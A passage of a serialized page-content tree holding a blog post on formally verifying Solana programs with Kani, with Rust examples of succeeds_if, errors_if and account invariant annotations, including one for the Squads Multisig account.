the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":32,"props":22013,"children":22014},{},[22015,22017,22022,22024,22030,22031,22037,22039,22045],{"type":29,"value":22016},"Kani allows you to write ",{"type":23,"tag":4321,"props":22018,"children":22019},{},[22020],{"type":29,"value":22021},"proof harnesses",{"type":29,"value":22023}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":154,"props":22025,"children":22027},{"className":22026},[],[22028],{"type":29,"value":22029},"assume",{"type":29,"value":4478},{"type":23,"tag":154,"props":22032,"children":22034},{"className":22033},[],[22035],{"type":29,"value":22036},"assert",{"type":29,"value":22038}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":154,"props":22040,"children":22042},{"className":22041},[],[22043],{"type":29,"value":22044},"cargo kani",{"type":29,"value":22046}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":24,"props":22048,"children":22050},{"id":22049},"specification-how-can-we-describe-what-we-want-our-program-to-do",[22051,22053,22057],{"type":29,"value":22052},"Specification: How can we describe what we ",{"type":23,"tag":4321,"props":22054,"children":22055},{},[22056],{"type":29,"value":20972},{"type":29,"value":20974},{"type":23,"tag":32,"props":22059,"children":22060},{},[22061],{"type":23,"tag":4321,"props":22062,"children":22063},{},[22064],{"type":23,"tag":38,"props":22065,"children":22066},{},[22067],{"type":29,"value":22068},"And what even do we want it to do?",{"type":23,"tag":32,"props":22070,"children":22071},{},[22072,22074,22079],{"type":29,"value":22073},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":4321,"props":22075,"children":22076},{},[22077],{"type":29,"value":22078},"specifying",{"type":29,"value":22080}," what the \"correct\" behavior should be.",{"type":23,"tag":32,"props":22082,"children":22083},{},[22084],{"type":29,"value":22085},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":1022,"props":22087,"children":22088},{},[22089,22101,22113],{"type":23,"tag":143,"props":22090,"children":22091},{},[22092,22094,22099],{"type":29,"value":22093},"\"It should not be possible to ",{"type":23,"tag":38,"props":22095,"children":22096},{},[22097],{"type":29,"value":22098},"steal money",{"type":29,"value":22100}," via a swap program\"",{"type":23,"tag":143,"props":22102,"children":22103},{},[22104,22106,22111],{"type":29,"value":22105},"\"A multisig should never get into a state where you ",{"type":23,"tag":38,"props":22107,"children":22108},{},[22109],{"type":29,"value":22110},"can't sign anything",{"type":29,"value":22112},"\"",{"type":23,"tag":143,"props":22114,"children":22115},{},[22116],{"type":29,"value":22117},"\"User funds in a staking protocol \"",{"type":23,"tag":32,"props":22119,"children":22120},{},[22121,22123,22133,22135,22140],{"type":29,"value":22122},"These are types of properties you can tell your ",{"type":23,"tag":68,"props":22124,"children":22127},{"href":22125,"rel":22126},"https://osec.io/",[72],[22128],{"type":23,"tag":4321,"props":22129,"children":22130},{},[22131],{"type":29,"value":22132},"human auditors",{"type":29,"value":22134}," but these English phrases are not particularly useful for ",{"type":23,"tag":4321,"props":22136,"children":22137},{},[22138],{"type":29,"value":22139},"automated verification techniques",{"type":29,"value":22141}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":32,"props":22143,"children":22144},{},[22145,22147,22152,22154,22159],{"type":29,"value":22146},"Instead, we need to be able to specify ",{"type":23,"tag":4321,"props":22148,"children":22149},{},[22150],{"type":29,"value":22151},"in code",{"type":29,"value":22153}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":154,"props":22155,"children":22157},{"className":22156},[],[22158],{"type":29,"value":22036},{"type":29,"value":22160}," statement.",{"type":23,"tag":320,"props":22162,"children":22164},{"id":22163},"solana-invariants",[22165],{"type":29,"value":22166},"Solana Invariants",{"type":23,"tag":32,"props":22168,"children":22169},{},[22170,22172,22177,22178,22183],{"type":29,"value":22171},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":38,"props":22173,"children":22174},{},[22175],{"type":29,"value":22176},"instruction invariants",{"type":29,"value":4478},{"type":23,"tag":38,"props":22179,"children":22180},{},[22181],{"type":29,"value":22182},"account invariants",{"type":29,"value":357},{"type":23,"tag":20944,"props":22185,"children":22187},{"id":22186},"instruction-invariant",[22188],{"type":29,"value":22189},"Instruction Invariant",{"type":23,"tag":32,"props":22191,"children":22192},{},[22193,22195,22200,22202,22208,22209,22215],{"type":29,"value":22194},"An ",{"type":23,"tag":38,"props":22196,"children":22197},{},[22198],{"type":29,"value":22199},"instruction invariant",{"type":29,"value":22201}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":154,"props":22203,"children":22205},{"className":22204},[],[22206],{"type":29,"value":22207},"succeeds_if",{"type":29,"value":15180},{"type":23,"tag":154,"props":22210,"children":22212},{"className":22211},[],[22213],{"type":29,"value":22214},"errors_if",{"type":29,"value":22216}," macro annotations on the instruction handler.",{"type":23,"tag":32,"props":22218,"children":22219},{},[22220],{"type":29,"value":22221},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":32,"props":22223,"children":22224},{},[22225,22227,22233,22235,22240],{"type":29,"value":22226},"For example, say we have a ",{"type":23,"tag":154,"props":22228,"children":22230},{"className":22229},[],[22231],{"type":29,"value":22232},"Withdraw",{"type":29,"value":22234}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":4321,"props":22236,"children":22237},{},[22238],{"type":29,"value":22239},"more",{"type":29,"value":22241}," tokens than their current balance.",{"type":23,"tag":32,"props":22243,"children":22244},{},[22245,22247,22252],{"type":29,"value":22246},"Using our tool, you could specify the following ",{"type":23,"tag":154,"props":22248,"children":22250},{"className":22249},[],[22251],{"type":29,"value":22214},{"type":29,"value":22253}," property on your instruction handler:",{"type":23,"tag":4743,"props":22255,"children":22257},{"code":22256,"language":5008,"meta":7,"className":5009,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[22258],{"type":23,"tag":154,"props":22259,"children":22260},{"__ignoreMap":7},[22261,22269,22304,22312,22385,22393],{"type":23,"tag":504,"props":22262,"children":22263},{"class":5016,"line":5017},[22264],{"type":23,"tag":504,"props":22265,"children":22266},{"style":5058},[22267],{"type":29,"value":22268},"#[errors_if(\n",{"type":23,"tag":504,"props":22270,"children":22271},{"class":5016,"line":4868},[22272,22277,22281,22286,22290,22295,22299],{"type":23,"tag":504,"props":22273,"children":22274},{"style":5058},[22275],{"type":29,"value":22276},"    ctx",{"type":23,"tag":504,"props":22278,"children":22279},{"style":5047},[22280],{"type":29,"value":357},{"type":23,"tag":504,"props":22282,"children":22283},{"style":5058},[22284],{"type":29,"value":22285},"user",{"type":23,"tag":504,"props":22287,"children":22288},{"style":5047},[22289],{"type":29,"value":357},{"type":23,"tag":504,"props":22291,"children":22292},{"style":5058},[22293],{"type":29,"value":22294},"balance ",{"type":23,"tag":504,"props":22296,"children":22297},{"style":5047},[22298],{"type":29,"value":2658},{"type":23,"tag":504,"props":22300,"children":22301},{"style":5058},[22302],{"type":29,"value":22303}," amount\n",{"type":23,"tag":504,"props":22305,"children":22306},{"class":5016,"line":4876},[22307],{"type":23,"tag":504,"props":22308,"children":22309},{"style":5058},[22310],{"type":29,"value":22311},")]\n",{"type":23,"tag":504,"props":22313,"children":22314},{"class":5016,"line":5099},[22315,22320,22325,22329,22334,22338,22343,22347,22351,22355,22360,22364,22368,22372,22376,22380],{"type":23,"tag":504,"props":22316,"children":22317},{"style":5030},[22318],{"type":29,"value":22319},"fn",{"type":23,"tag":504,"props":22321,"children":22322},{"style":5139},[22323],{"type":29,"value":22324}," withdraw",{"type":23,"tag":504,"props":22326,"children":22327},{"style":5058},[22328],{"type":29,"value":603},{"type":23,"tag":504,"props":22330,"children":22331},{"style":5041},[22332],{"type":29,"value":22333},"ctx",{"type":23,"tag":504,"props":22335,"children":22336},{"style":5047},[22337],{"type":29,"value":6533},{"type":23,"tag":504,"props":22339,"children":22340},{"style":5467},[22341],{"type":29,"value":22342}," Context",{"type":23,"tag":504,"props":22344,"children":22345},{"style":5058},[22346],{"type":29,"value":2658},{"type":23,"tag":504,"props":22348,"children":22349},{"style":5467},[22350],{"type":29,"value":22232},{"type":23,"tag":504,"props":22352,"children":22353},{"style":5058},[22354],{"type":29,"value":8674},{"type":23,"tag":504,"props":22356,"children":22357},{"style":5041},[22358],{"type":29,"value":22359},"amount",{"type":23,"tag":504,"props":22361,"children":22362},{"style":5047},[22363],{"type":29,"value":6533},{"type":23,"tag":504,"props":22365,"children":22366},{"style":5467},[22367],{"type":29,"value":7905},{"type":23,"tag":504,"props":22369,"children":22370},{"style":5058},[22371],{"type":29,"value":5128},{"type":23,"tag":504,"props":22373,"children":22374},{"style":5047},[22375],{"type":29,"value":15803},{"type":23,"tag":504,"props":22377,"children":22378},{"style":5467},[22379],{"type":29,"value":15808},{"type":23,"tag":504,"props":22381,"children":22382},{"style":5058},[22383],{"type":29,"value":22384},"\u003C()> {\n",{"type":23,"tag":504,"props":22386,"children":22387},{"class":5016,"line":5203},[22388],{"type":23,"tag":504,"props":22389,"children":22390},{"style":5047},[22391],{"type":29,"value":22392},"    ...\n",{"type":23,"tag":504,"props":22394,"children":22395},{"class":5016,"line":5308},[22396],{"type":23,"tag":504,"props":22397,"children":22398},{"style":5058},[22399],{"type":29,"value":5965},{"type":23,"tag":446,"props":22401,"children":22402},{},[22403],{"type":23,"tag":32,"props":22404,"children":22405},{},[22406,22407,22412,22414,22419,22421,22426],{"type":29,"value":18661},{"type":23,"tag":154,"props":22408,"children":22410},{"className":22409},[],[22411],{"type":29,"value":22214},{"type":29,"value":22413}," expression specifies ",{"type":23,"tag":4321,"props":22415,"children":22416},{},[22417],{"type":29,"value":22418},"succifient",{"type":29,"value":22420}," but not ",{"type":23,"tag":4321,"props":22422,"children":22423},{},[22424],{"type":29,"value":22425},"necessary",{"type":29,"value":22427}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":20844,"props":22429,"children":22430},{},[],{"type":23,"tag":32,"props":22432,"children":22433},{},[22434,22436,22441],{"type":29,"value":22435},"Another example is that for ",{"type":23,"tag":4321,"props":22437,"children":22438},{},[22439],{"type":29,"value":22440},"crank",{"type":29,"value":22442}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":4743,"props":22444,"children":22446},{"code":22445,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[22447],{"type":23,"tag":154,"props":22448,"children":22449},{"__ignoreMap":7},[22450,22458,22512,22519],{"type":23,"tag":504,"props":22451,"children":22452},{"class":5016,"line":5017},[22453],{"type":23,"tag":504,"props":22454,"children":22455},{"style":5058},[22456],{"type":29,"value":22457},"#[succeeds_if(true)]\n",{"type":23,"tag":504,"props":22459,"children":22460},{"class":5016,"line":4868},[22461,22465,22470,22474,22478,22482,22486,22490,22495,22500,22504,22508],{"type":23,"tag":504,"props":22462,"children":22463},{"style":5030},[22464],{"type":29,"value":22319},{"type":23,"tag":504,"props":22466,"children":22467},{"style":5139},[22468],{"type":29,"value":22469}," my_crank",{"type":23,"tag":504,"props":22471,"children":22472},{"style":5058},[22473],{"type":29,"value":603},{"type":23,"tag":504,"props":22475,"children":22476},{"style":5041},[22477],{"type":29,"value":22333},{"type":23,"tag":504,"props":22479,"children":22480},{"style":5047},[22481],{"type":29,"value":6533},{"type":23,"tag":504,"props":22483,"children":22484},{"style":5467},[22485],{"type":29,"value":22342},{"type":23,"tag":504,"props":22487,"children":22488},{"style":5058},[22489],{"type":29,"value":2658},{"type":23,"tag":504,"props":22491,"children":22492},{"style":5467},[22493],{"type":29,"value":22494},"Crank",{"type":23,"tag":504,"props":22496,"children":22497},{"style":5058},[22498],{"type":29,"value":22499},">) ",{"type":23,"tag":504,"props":22501,"children":22502},{"style":5047},[22503],{"type":29,"value":15803},{"type":23,"tag":504,"props":22505,"children":22506},{"style":5467},[22507],{"type":29,"value":15808},{"type":23,"tag":504,"props":22509,"children":22510},{"style":5058},[22511],{"type":29,"value":22384},{"type":23,"tag":504,"props":22513,"children":22514},{"class":5016,"line":4876},[22515],{"type":23,"tag":504,"props":22516,"children":22517},{"style":5047},[22518],{"type":29,"value":22392},{"type":23,"tag":504,"props":22520,"children":22521},{"class":5016,"line":5099},[22522],{"type":23,"tag":504,"props":22523,"children":22524},{"style":5058},[22525],{"type":29,"value":5965},{"type":23,"tag":32,"props":22527,"children":22528},{},[22529,22531,22535,22537,22543],{"type":29,"value":22530},"With this invariant, you could prove that the function ",{"type":23,"tag":4321,"props":22532,"children":22533},{},[22534],{"type":29,"value":15140},{"type":29,"value":22536}," returns ",{"type":23,"tag":154,"props":22538,"children":22540},{"className":22539},[],[22541],{"type":29,"value":22542},"Ok",{"type":29,"value":22544},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":20844,"props":22546,"children":22547},{},[],{"type":23,"tag":32,"props":22549,"children":22550},{},[22551,22553,22558,22559,22564,22566,22571,22573,22578,22580,22585],{"type":29,"value":22552},"Note that ",{"type":23,"tag":154,"props":22554,"children":22556},{"className":22555},[],[22557],{"type":29,"value":22207},{"type":29,"value":4478},{"type":23,"tag":154,"props":22560,"children":22562},{"className":22561},[],[22563],{"type":29,"value":22214},{"type":29,"value":22565}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":154,"props":22567,"children":22569},{"className":22568},[],[22570],{"type":29,"value":22207},{"type":29,"value":22572}," is not satisfied and a function may fail even if ",{"type":23,"tag":154,"props":22574,"children":22576},{"className":22575},[],[22577],{"type":29,"value":22214},{"type":29,"value":22579}," is not satisfied. If you want to prove the ",{"type":23,"tag":4321,"props":22581,"children":22582},{},[22583],{"type":29,"value":22584},"exact condition",{"type":29,"value":22586}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":4743,"props":22588,"children":22590},{"code":22589,"language":5008,"meta":7,"className":5009,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[22591],{"type":23,"tag":154,"props":22592,"children":22593},{"__ignoreMap":7},[22594,22638,22645,22662,22688,22740,22747],{"type":23,"tag":504,"props":22595,"children":22596},{"class":5016,"line":5017},[22597,22601,22606,22610,22614,22618,22622,22626,22630,22634],{"type":23,"tag":504,"props":22598,"children":22599},{"style":5030},[22600],{"type":29,"value":22319},{"type":23,"tag":504,"props":22602,"children":22603},{"style":5139},[22604],{"type":29,"value":22605}," my_invariant",{"type":23,"tag":504,"props":22607,"children":22608},{"style":5058},[22609],{"type":29,"value":603},{"type":23,"tag":504,"props":22611,"children":22612},{"style":5047},[22613],{"type":29,"value":853},{"type":23,"tag":504,"props":22615,"children":22616},{"style":5058},[22617],{"type":29,"value":5128},{"type":23,"tag":504,"props":22619,"children":22620},{"style":5047},[22621],{"type":29,"value":15803},{"type":23,"tag":504,"props":22623,"children":22624},{"style":5467},[22625],{"type":29,"value":14096},{"type":23,"tag":504,"props":22627,"children":22628},{"style":5058},[22629],{"type":29,"value":11633},{"type":23,"tag":504,"props":22631,"children":22632},{"style":5047},[22633],{"type":29,"value":853},{"type":23,"tag":504,"props":22635,"children":22636},{"style":5058},[22637],{"type":29,"value":11642},{"type":23,"tag":504,"props":22639,"children":22640},{"class":5016,"line":4868},[22641],{"type":23,"tag":504,"props":22642,"children":22643},{"emptyLinePlaceholder":15},[22644],{"type":29,"value":5734},{"type":23,"tag":504,"props":22646,"children":22647},{"class":5016,"line":4876},[22648,22653,22657],{"type":23,"tag":504,"props":22649,"children":22650},{"style":5058},[22651],{"type":29,"value":22652},"#[succeeds_if(my_invariant(",{"type":23,"tag":504,"props":22654,"children":22655},{"style":5047},[22656],{"type":29,"value":853},{"type":23,"tag":504,"props":22658,"children":22659},{"style":5058},[22660],{"type":29,"value":22661},"))]\n",{"type":23,"tag":504,"props":22663,"children":22664},{"class":5016,"line":5099},[22665,22670,22675,22680,22684],{"type":23,"tag":504,"props":22666,"children":22667},{"style":5058},[22668],{"type":29,"value":22669},"#[errors_if(",{"type":23,"tag":504,"props":22671,"children":22672},{"style":5047},[22673],{"type":29,"value":22674},"!",{"type":23,"tag":504,"props":22676,"children":22677},{"style":5058},[22678],{"type":29,"value":22679},"my_invariant(",{"type":23,"tag":504,"props":22681,"children":22682},{"style":5047},[22683],{"type":29,"value":853},{"type":23,"tag":504,"props":22685,"children":22686},{"style":5058},[22687],{"type":29,"value":22661},{"type":23,"tag":504,"props":22689,"children":22690},{"class":5016,"line":5203},[22691,22695,22700,22704,22708,22712,22716,22720,22724,22728,22732,22736],{"type":23,"tag":504,"props":22692,"children":22693},{"style":5030},[22694],{"type":29,"value":22319},{"type":23,"tag":504,"props":22696,"children":22697},{"style":5139},[22698],{"type":29,"value":22699}," my_instruction",{"type":23,"tag":504,"props":22701,"children":22702},{"style":5058},[22703],{"type":29,"value":603},{"type":23,"tag":504,"props":22705,"children":22706},{"style":5041},[22707],{"type":29,"value":22333},{"type":23,"tag":504,"props":22709,"children":22710},{"style":5047},[22711],{"type":29,"value":6533},{"type":23,"tag":504,"props":22713,"children":22714},{"style":5467},[22715],{"type":29,"value":22342},{"type":23,"tag":504,"props":22717,"children":22718},{"style":5058},[22719],{"type":29,"value":2658},{"type":23,"tag":504,"props":22721,"children":22722},{"style":5047},[22723],{"type":29,"value":853},{"type":23,"tag":504,"props":22725,"children":22726},{"style":5058},[22727],{"type":29,"value":22499},{"type":23,"tag":504,"props":22729,"children":22730},{"style":5047},[22731],{"type":29,"value":15803},{"type":23,"tag":504,"props":22733,"children":22734},{"style":5467},[22735],{"type":29,"value":15808},{"type":23,"tag":504,"props":22737,"children":22738},{"style":5058},[22739],{"type":29,"value":22384},{"type":23,"tag":504,"props":22741,"children":22742},{"class":5016,"line":5308},[22743],{"type":23,"tag":504,"props":22744,"children":22745},{"style":5047},[22746],{"type":29,"value":22392},{"type":23,"tag":504,"props":22748,"children":22749},{"class":5016,"line":5336},[22750],{"type":23,"tag":504,"props":22751,"children":22752},{"style":5058},[22753],{"type":29,"value":5965},{"type":23,"tag":32,"props":22755,"children":22756},{},[22757],{"type":29,"value":22758},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":20944,"props":22760,"children":22762},{"id":22761},"account-invariants",[22763],{"type":29,"value":22764},"Account Invariants",{"type":23,"tag":32,"props":22766,"children":22767},{},[22768,22770,22775],{"type":29,"value":22769},"The other type of invariant is an ",{"type":23,"tag":38,"props":22771,"children":22772},{},[22773],{"type":29,"value":22774},"Account Invariant",{"type":29,"value":22776},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":32,"props":22778,"children":22779},{},[22780,22782,22787,22788,22794],{"type":29,"value":22781},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":154,"props":22783,"children":22785},{"className":22784},[],[22786],{"type":29,"value":5783},{"type":29,"value":15180},{"type":23,"tag":154,"props":22789,"children":22791},{"className":22790},[],[22792],{"type":29,"value":22793},"init",{"type":29,"value":161},{"type":23,"tag":32,"props":22796,"children":22797},{},[22798,22800,22806],{"type":29,"value":22799},"For example, given a mock ",{"type":23,"tag":154,"props":22801,"children":22803},{"className":22802},[],[22804],{"type":29,"value":22805},"UserStatement",{"type":29,"value":22807}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":4743,"props":22809,"children":22811},{"code":22810,"language":5008,"meta":7,"className":5009,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[22812],{"type":23,"tag":154,"props":22813,"children":22814},{"__ignoreMap":7},[22815,22823,22831,22865,22872,22888,22914,22938,22962],{"type":23,"tag":504,"props":22816,"children":22817},{"class":5016,"line":5017},[22818],{"type":23,"tag":504,"props":22819,"children":22820},{"style":5058},[22821],{"type":29,"value":22822},"#[account]\n",{"type":23,"tag":504,"props":22824,"children":22825},{"class":5016,"line":4868},[22826],{"type":23,"tag":504,"props":22827,"children":22828},{"style":5058},[22829],{"type":29,"value":22830},"#[invariant(\n",{"type":23,"tag":504,"props":22832,"children":22833},{"class":5016,"line":4876},[22834,22839,22843,22848,22852,22856,22860],{"type":23,"tag":504,"props":22835,"children":22836},{"style":5058},[22837],{"type":29,"value":22838},"    self",{"type":23,"tag":504,"props":22840,"children":22841},{"style":5047},[22842],{"type":29,"value":357},{"type":23,"tag":504,"props":22844,"children":22845},{"style":5058},[22846],{"type":29,"value":22847},"assets ",{"type":23,"tag":504,"props":22849,"children":22850},{"style":5047},[22851],{"type":29,"value":1678},{"type":23,"tag":504,"props":22853,"children":22854},{"style":5058},[22855],{"type":29,"value":15843},{"type":23,"tag":504,"props":22857,"children":22858},{"style":5047},[22859],{"type":29,"value":357},{"type":23,"tag":504,"props":22861,"children":22862},{"style":5058},[22863],{"type":29,"value":22864},"liabilities\n",{"type":23,"tag":504,"props":22866,"children":22867},{"class":5016,"line":5099},[22868],{"type":23,"tag":504,"props":22869,"children":22870},{"style":5058},[22871],{"type":29,"value":22311},{"type":23,"tag":504,"props":22873,"children":22874},{"class":5016,"line":5203},[22875,22879,22884],{"type":23,"tag":504,"props":22876,"children":22877},{"style":5030},[22878],{"type":29,"value":11448},{"type":23,"tag":504,"props":22880,"children":22881},{"style":5467},[22882],{"type":29,"value":22883}," UserStatement",{"type":23,"tag":504,"props":22885,"children":22886},{"style":5058},[22887],{"type":29,"value":5333},{"type":23,"tag":504,"props":22889,"children":22890},{"class":5016,"line":5308},[22891,22896,22901,22905,22910],{"type":23,"tag":504,"props":22892,"children":22893},{"style":5030},[22894],{"type":29,"value":22895},"    pub",{"type":23,"tag":504,"props":22897,"children":22898},{"style":5041},[22899],{"type":29,"value":22900}," owner",{"type":23,"tag":504,"props":22902,"children":22903},{"style":5047},[22904],{"type":29,"value":6533},{"type":23,"tag":504,"props":22906,"children":22907},{"style":5467},[22908],{"type":29,"value":22909}," Pubkey",{"type":23,"tag":504,"props":22911,"children":22912},{"style":5058},[22913],{"type":29,"value":5557},{"type":23,"tag":504,"props":22915,"children":22916},{"class":5016,"line":5336},[22917,22921,22926,22930,22934],{"type":23,"tag":504,"props":22918,"children":22919},{"style":5030},[22920],{"type":29,"value":22895},{"type":23,"tag":504,"props":22922,"children":22923},{"style":5041},[22924],{"type":29,"value":22925}," assets",{"type":23,"tag":504,"props":22927,"children":22928},{"style":5047},[22929],{"type":29,"value":6533},{"type":23,"tag":504,"props":22931,"children":22932},{"style":5467},[22933],{"type":29,"value":7905},{"type":23,"tag":504,"props":22935,"children":22936},{"style":5058},[22937],{"type":29,"value":5557},{"type":23,"tag":504,"props":22939,"children":22940},{"class":5016,"line":5349},[22941,22945,22950,22954,22958],{"type":23,"tag":504,"props":22942,"children":22943},{"style":5030},[22944],{"type":29,"value":22895},{"type":23,"tag":504,"props":22946,"children":22947},{"style":5041},[22948],{"type":29,"value":22949}," liabilities",{"type":23,"tag":504,"props":22951,"children":22952},{"style":5047},[22953],{"type":29,"value":6533},{"type":23,"tag":504,"props":22955,"children":22956},{"style":5467},[22957],{"type":29,"value":7905},{"type":23,"tag":504,"props":22959,"children":22960},{"style":5058},[22961],{"type":29,"value":5557},{"type":23,"tag":504,"props":22963,"children":22964},{"class":5016,"line":5367},[22965],{"type":23,"tag":504,"props":22966,"children":22967},{"style":5058},[22968],{"type":29,"value":5965},{"type":23,"tag":32,"props":22970,"children":22971},{},[22972,22974,22979],{"type":29,"value":22973},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":154,"props":22975,"children":22977},{"className":22976},[],[22978],{"type":29,"value":22805},{"type":29,"value":22980}," is created or modified.",{"type":23,"tag":32,"props":22982,"children":22983},{},[22984,22986,22992],{"type":29,"value":22985},"In another example, we developed the following invariant for the ",{"type":23,"tag":68,"props":22987,"children":22989},{"href":20875,"rel":22988},[72],[22990],{"type":29,"value":22991},"Squads Multisig",{"type":29,"value":22993}," wallet account:",{"type":23,"tag":4743,"props":22995,"children":22997},{"code":22996,"language":5008,"meta":7,"className":5009,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[22998],{"type":23,"tag":154,"props":22999,"children":23000},{"__ignoreMap":7},[23001,23008,23015,23045,23104,23133,23185,23192,23213,23243,23273,23303,23332,23362,23392,23421,23461],{"type":23,"tag":504,"props":23002,"children":23003},{"class":5016,"line":5017},[23004],{"type":23,"tag":504,"props":23005,"children":23006},{"style":5058},[23007],{"type":29,"value":22822},{"type":23,"tag":504,"props":23009,"children":23010},{"class":5016,"line":4868},[23011],{"type":23,"tag":504,"props":23012,"children":23013},{"style":5058},[23014],{"type":29,"value":22830},{"type":23,"tag":504,"props":23016,"children":23017},{"class":5016,"line":4876},[23018,23023,23027,23031,23036,23040],{"type":23,"tag":504,"props":23019,"children":23020},{"style":5047},[23021],{"type":29,"value":23022},"    !",{"type":23,"tag":504,"props":23024,"children":23025},{"style":5058},[23026],{"type":29,"value":15759},{"type":23,"tag":504,"props":23028,"children":23029},{"style":5047},[23030],{"type":29,"value":357},{"type":23,"tag":504,"props":23032,"children":23033},{"style":5058},[23034],{"type":29,"value":23035},"keys",{"type":23,"tag":504,"props":23037,"children":23038},{"style":5047},[23039],{"type":29,"value":357},{"type":23,"tag":504,"props":23041,"children":23042},{"style":5058},[23043],{"type":29,"value":23044},"is_empty()\n",{"type":23,"tag":504,"props":23046,"children":23047},{"class":5016,"line":5099},[23048,23052,23057,23061,23065,23069,23074,23078,23083,23087,23092,23096,23100],{"type":23,"tag":504,"props":23049,"children":23050},{"style":5047},[23051],{"type":29,"value":17668},{"type":23,"tag":504,"props":23053,"children":23054},{"style":5058},[23055],{"type":29,"value":23056}," (self",{"type":23,"tag":504,"props":23058,"children":23059},{"style":5047},[23060],{"type":29,"value":357},{"type":23,"tag":504,"props":23062,"children":23063},{"style":5058},[23064],{"type":29,"value":23035},{"type":23,"tag":504,"props":23066,"children":23067},{"style":5047},[23068],{"type":29,"value":357},{"type":23,"tag":504,"props":23070,"children":23071},{"style":5058},[23072],{"type":29,"value":23073},"len() ",{"type":23,"tag":504,"props":23075,"children":23076},{"style":5047},[23077],{"type":29,"value":21466},{"type":23,"tag":504,"props":23079,"children":23080},{"style":5467},[23081],{"type":29,"value":23082}," u16",{"type":23,"tag":504,"props":23084,"children":23085},{"style":5047},[23086],{"type":29,"value":5530},{"type":23,"tag":504,"props":23088,"children":23089},{"style":5467},[23090],{"type":29,"value":23091},"MAX",{"type":23,"tag":504,"props":23093,"children":23094},{"style":5030},[23095],{"type":29,"value":10873},{"type":23,"tag":504,"props":23097,"children":23098},{"style":5467},[23099],{"type":29,"value":15777},{"type":23,"tag":504,"props":23101,"children":23102},{"style":5058},[23103],{"type":29,"value":5200},{"type":23,"tag":504,"props":23105,"children":23106},{"class":5016,"line":5203},[23107,23111,23115,23119,23124,23128],{"type":23,"tag":504,"props":23108,"children":23109},{"style":5047},[23110],{"type":29,"value":17668},{"type":23,"tag":504,"props":23112,"children":23113},{"style":5058},[23114],{"type":29,"value":23056},{"type":23,"tag":504,"props":23116,"children":23117},{"style":5047},[23118],{"type":29,"value":357},{"type":23,"tag":504,"props":23120,"children":23121},{"style":5058},[23122],{"type":29,"value":23123},"threshold ",{"type":23,"tag":504,"props":23125,"children":23126},{"style":5047},[23127],{"type":29,"value":1678},{"type":23,"tag":504,"props":23129,"children":23130},{"style":5058},[23131],{"type":29,"value":23132}," 1)\n",{"type":23,"tag":504,"props":23134,"children":23135},{"class":5016,"line":5308},[23136,23140,23144,23148,23152,23156,23160,23164,23168,23172,23176,23180],{"type":23,"tag":504,"props":23137,"children":23138},{"style":5047},[23139],{"type":29,"value":17668},{"type":23,"tag":504,"props":23141,"children":23142},{"style":5058},[23143],{"type":29,"value":23056},{"type":23,"tag":504,"props":23145,"children":23146},{"style":5047},[23147],{"type":29,"value":357},{"type":23,"tag":504,"props":23149,"children":23150},{"style":5058},[23151],{"type":29,"value":23123},{"type":23,"tag":504,"props":23153,"children":23154},{"style":5030},[23155],{"type":29,"value":10887},{"type":23,"tag":504,"props":23157,"children":23158},{"style":5467},[23159],{"type":29,"value":15777},{"type":23,"tag":504,"props":23161,"children":23162},{"style":5047},[23163],{"type":29,"value":10242},{"type":23,"tag":504,"props":23165,"children":23166},{"style":5058},[23167],{"type":29,"value":15843},{"type":23,"tag":504,"props":23169,"children":23170},{"style":5047},[23171],{"type":29,"value":357},{"type":23,"tag":504,"props":23173,"children":23174},{"style":5058},[23175],{"type":29,"value":23035},{"type":23,"tag":504,"props":23177,"childr